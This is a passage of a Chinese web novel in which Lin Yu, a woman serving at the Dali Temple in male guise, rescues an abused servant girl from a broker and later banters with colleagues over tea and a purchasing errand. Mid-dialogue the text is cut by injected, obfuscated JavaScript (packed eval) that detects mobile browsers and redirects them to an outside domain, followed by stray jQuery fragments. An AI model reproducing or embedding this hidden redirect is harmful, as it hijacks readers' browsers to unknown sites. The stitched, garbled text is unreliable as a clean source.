李四低声嗫嚅：“是，是这样。不过他要把我卖到青楼去。”


    闻言，牙人轻蔑道：“哼！你来此已一月了，有人挑走你吗？现在好不容易有地方愿意带走你，你还委屈上了，莫不是想留在这吃干饭！”


    李四被吓得连连后缩，眼中充满恐惧：“我，我不愿。”


    “那有什么用！谁让你没投个好胎？你爹一两银子就把你卖给我了，你是生是死都由我决定！”


    此话一出，林玉眸色一暗。


    纵使买卖丫鬟合法，但就算世家权贵也没那么大权利随意打杀。而这人张口之间，便随意决人生死，当真狂妄。


    她脑中思绪变化，纠结又为难。理智上言，没有必要多买丫鬟，可情感上，她瞧见李四悲苦面容又心生恻隐之心。


    这时，牙人看这公子问了话就没有动作了，直接动手准备把人硬拽走。李四拼命挣扎，不愿落入恶人之手。


    二人打闹间隙，周围已涌上不少人，俱是来看热闹的，无人出手相助。


    林玉终究心软，做了回“英雄救美”的英雄，示意东阳将牙人拉开。


    “送去青楼不如我买下她。”


    牙人思及李四反正不听话，就在此地卖给这位公子也好，随即讨好地应了。


    林玉语气轻柔地问李四：“你愿意跟我走吗？”


    “愿意愿意！”李四很快应了，声音很小，但点头如捣蒜。


    林玉自怀中掏出一两银子，随即便等牙人将李四的身契拿来。


    那牙人却很惊诧：“公子，按照行情来说此人应当是四两银子，你看……”他举起手中的一两银子，迟疑道：“这是不是还差点？”


    林玉一本正经：“不少啊，方才不是你自己说的？”


    她拉长尾音，重复牙人刚才的话：“她爹只花了一两银子就把她卖给你了。”


    牙人狡道：“话是这样说。可是她入我牙行这一月，不能白吃白住啊。况且若是买卖同价，我这牙行如何盈利。公子，瞧你也是知礼之人，想必不会为难我这个做小本生意的人吧？”


    “白吃白住？那不知在此期间，她有没有做过活，又有没有被打骂过？！”


    林玉凛冽的质问声如滚滚尖刀刺向牙人。


    李四意会，拉起衣袖露出手臂。霎时间，众人便见那瘦弱的胳膊上遍布血红伤痕，有深有浅，有些还在不住朝外淌血，都快将衣袖浸湿。


    触目惊心。


    能看到的都数不胜数，更遑论被衣服盖住无法看到的地方。


    “这打得也太狠了吧。”围观之人倒吸一口凉气。


    牙人见行径暴露，依旧嘴硬：“她是我买回来的，不听话教训一下又何妨！”


    “律法有言：‘凡买卖奴仆者，若无大错不得随意打骂，不得随意发卖。’皇亲国戚尚且如此，莫非你以为，自己能不顾大晟律法，比达官显贵还要威风？！”


    这样一顶高帽扣下，那牙人却还死性不改，想要狡辩。


    林玉没给他机会，继续开口：“若你还是不服气，大可去找官府。我们就让青天大老爷来判决是非！只是到了那时，若论你罔顾律法、私下用刑的罪责，恐怕就不止一两银子这么简单了。”


    她方才便有所发现。天气转热，李四却还穿着厚重衣物，全身都被遮得个严严实实，一听到牙人的声音就不可抑制地发抖，当是长期被虐的应激反应。


    何况，她牙关紧闭、双手紧攥，像是在忍受极大的痛楚。


    周围人群应和道：“对！去告官府！”


    牙人见这么多人打抱不平，心中恼怒却又不敢再言，只得心虚地去拿来身契，之后便灰溜溜地离开了。


    林玉也与两人一同离开人市。


    天边红日慢慢西坠，夕阳散出霞光照入人间，目光所及皆染上鎏金之色。街上不似午时热闹，很多临时商贩已在收拾东西归家。


    微分拂过，布幡摇晃。


    馄饨店中，林玉对狼吞虎咽的李四轻声道：“慢点吃。”


    李四身旁摆着四个空碗，疯狂摄入中囫囵一句：“好的公子。”


    林玉将她的身契拿出置于桌上：“你可拿着这张身契自行离去，牙人不会再找你麻烦。”


    林玉本没打算让她跟在自己身边，她白日里都在大理寺中，家中除东阳外也没有其余人，实在用不上丫鬟，也养不起。


    东阳是不得不为之，但若再加一人，恐怕生计难以维持。


    李四一听此话便急了，脸从馄饨碗中抬出，急忙表明真心：“公子，我愿意跟着你。况且我也没有其他地方可去了。”


    她忐忑不安：“我会做饭，也会照顾人，只求公子不要赶走我。”


    林玉打断她，拒绝：“可我并没有闲钱再发一人的月钱。”


    李四一愣，不停摇头：“没关系的。我不用月钱，只要有个住的地方就可以了。若我回到以前的家里，我爹肯定会再把我卖出去的。公子，我再也不想回去了。”


    “我能去帮工赚钱、端盘扫洒……真的，我不会吃很多的，也花不了多少钱，我还能替公子赚钱！求求公子了，留下我吧。”


    “我也能去码头搬东西。”一直未开口的东阳突然说道。


    林玉见她恳切，最终点头：“好吧。你的伤待会一同去医馆看看。”


    李四欢欣应声，而林玉的思绪飘到方才。


    当时那一番话实则夸大。纵使律法如此规定，可真正实施者少之又少，但因其尊贵地位，便鲜少有人提出异议。


    力多放于显贵而少于平民，是为可悲。


    亏得她样子唬人，又有多人围观，牙人自觉心虚才放手。


    她思绪游荡之时，东阳问向女孩：“你叫李四？”


    “是，我是家中的第四个孩子，”李四回答，“不过我也不想叫这个名字了。”


    东阳又道：“那要不然叫‘兰生’吧。”


    百末旨酒布兰生。


    “兰生”和“东阳”一样，皆为酒名。


    不远处，结束宴饮的奚竹拖着醉醺醺的孟源出了酒楼。


    孟源还未尽兴，边走边回头大声对其余人说：“来日再聚！”


    奚竹扶住他摇摇晃晃的身体，把人送上马车后，欲打道回府。没曾想竟看到了林玉，她正坐在一家馄饨店中，在她身边还有一男一女。


    奚竹联想到昨日之事，大致猜到其为林玉新的护卫。


    看来这人还是把他的话听进去了。


    奚竹又想起早些时候碰见她的时候，她呆呆地盯着那糖人，后来却假装不要，莫名有一丝反转的笑感。


    林玉总是假装一副冷淡无趣的外表，刻意与人保持距离，其实轻而易举便能看出，她内里并非如此。


    就连孟小源这种傻人都能意识出，她根本不似外表那般冷漠。


    唯有她自己，认为伪装得很好。


    严行命他多跟状元郎学习，他本以为那是个完美无缺、端重持正的人设，相处过后，才觉出不对。


    她的本性到底是如何的？


    直到孟源大声嚷嚷的声音传入耳膜，奚竹才恍然发觉竟想了这么些时间，自顾自摇头后，并未与她打招呼便让车夫驾车离开东市了。


    -


    隔日，林玉很早便来大理寺上值了。


    昨日给兰生看过伤又买过一些药后，再添置了一些日常用品。因此，她手中银钱又一朝空空。


    看到案上堆叠成山的公文，她重重叹了口气。


    混口饭吃，当真不易。


    巳时，日光变得稍大些，清晨的凉爽完全褪去，只余下滚滚热意。


    孟源一边打着哈欠一边走进大理寺，照例先去逗了逗饭饭。如今在这大理寺当中，只有饭饭才是他的心头宝，就连奚竹都排在了后面一位。


    玄凤鹦鹉置于一红酸枝镶螺钿鸟笼中，见到主人便高声喊叫：“孟小源！孟小源！”


    不用想也知道这是谁教它的。


    见到它神气无比的样子，孟源猜想必定已有人喂过了，便打算去谢过林玉。


    经过奚竹的书房时，孟源发现他正在沏茶，神色认真，目光专注得别无他物，只余眼前茶盏。


    孟源眼睛一亮：“哥，你多泡两杯呗。”边说边把奚竹珍藏的青花底琉璃茶盏拿出来。


    奚竹没看他，继续手中动作，道了声：“放下。”


    孟源依旧笑嘻嘻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950515|177544||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，把茶杯放在案上，哀求：“求你了，哥！”


    而后，他抱住头，假装痛不欲生的样子，道：“诶！我头好痛，必是昨日喝得太多了，现在必须要喝上一杯解酒茶才能好！”


    “这可不是解酒茶。”


    话虽如此，奚竹却还是把另外两个茶杯拿了过来。


    片刻后，杯中茶汤黄绿清澈，香气四溢，残留叶儿在冒热气的水中调皮地打着转儿。


    “嘿嘿，谢谢哥！”孟源捧起一杯，凑近嘴角喝了一口，“真是令人神清气爽！困倦一扫而光！简直能再干一天的活！“


    奚竹无言片刻，这都日上三竿了还困呢。


    “昨日你回去孟尚书没训斥你？”


    “别说了，”孟源哀嚎，“我一回去我爹刚好在家，你是没听到他老人家那唠叨的声音……”


    奚竹笑道：“活该。”


    须臾，孟源端着那另一个青花底琉璃盏敲开隔壁书房的门。


    “进。”


    孟源献宝似地把茶盏递给林玉：“林兄，今日必定是你帮我喂了饭饭。”


    他朝身边的奚竹努努嘴：“这是我哥泡的茶，就当我借花献佛了。”


    林玉接过来，却并未立马喝，有气无力地应了一声：“嗯……”


    倚着门框的奚竹倒是笑了，开口：“怎么？林大人看起来对我的茶不感兴趣。”


    真是好大一个屎盆子！


    林玉兴致不高，闷声道：“并没有，我待会儿再喝。不知二位大人来还有其他事吗？若无他事，我便要继续处理公务了。”


    听着已有赶人意味。


    “听说严大人派了你去交接大理寺衙役公服一事？”


    衙役公服每隔两年分别在夏、冬两季进行一番大采买。这事原本与林玉毫无关系，奈何严行一颗为侄之心，看奚竹一天天无所事事心中着急，就把这差事指派给奚竹了。又怕他一人出什么差错，便让林玉也随同去。


    谈起这个，林玉就是一阵心烦。早些时候她发现月事来了，急匆匆地趁着没人处理了一番。本就蔫蔫的，又凭空砸来一个差事，实在烦躁。


    这样一下来，她早起的斗志已被消磨得几近于无，只盼着早日下值。


    她耷拉着眉：“是。”


    “严大人派我和你一起去。”


    奚竹莫名，这人为何一脸不高兴的模样？谁惹她了？


    “我知道。”


    倒是孟源听了，一时间差点跳起来，兴奋道：“那林兄你怎么不开心呢？衙役公服向来是在霞光阁采办，没准还能见到那位神秘的东家呢！可是天大的好事！”


    他一脸向往：“据说那东家琼姿花貌，艳美绝伦，窈窕无双，实乃秋水伊人……”


    “停停停停停！！”


    这个年纪的少年对女子本就有种隐秘的情感，更何况是一个鲜少有人见过、美名远传的女子。


    而林玉激动的原因并非如此，她讶然：“是去霞光阁采办？”


    “对啊，你不知道吗？若林兄你实在不想去，”孟源狡黠一笑，“我可以代劳。”


    “不必了。”


    林玉一下变了个态度，正言正色：“严大人如此信赖我，我怎能辜负他的期望？此事还是我去为好。”


    先前，她听到这个消息时并不开心，想着奚竹应当知晓详情，没有多问便离开了。现在一看，哪是什么破差事？简直是天上白白掉馅饼！


    她正愁没有机会接近霞光阁呢。


    她爱工作，工作使人幸福。


    孟源见机会错失，遗憾叹道：“好吧，看来我是无缘见到那神秘老板了。那林兄回头千万记得与我讲讲她是何等美貌！”


    “放心，过后我必活灵活现地给你描述出来。”林玉嘴角弯起，心情颇好。


    奚竹奇怪，她方才像没了半条命一样萎靡不振，听到霞光阁后一下就生龙活虎起来。这女子容貌对她当真有如此吸引？


    恐怕看美人是假，霞光阁才是真正目的。


    他并未多言，同孟源离开。


    待人走后，林玉浅饮了一口面前的茶。入口醇正清爽，初带一丝苦涩，片刻回甘。热水滑过小腹，为全身带来一股暖意。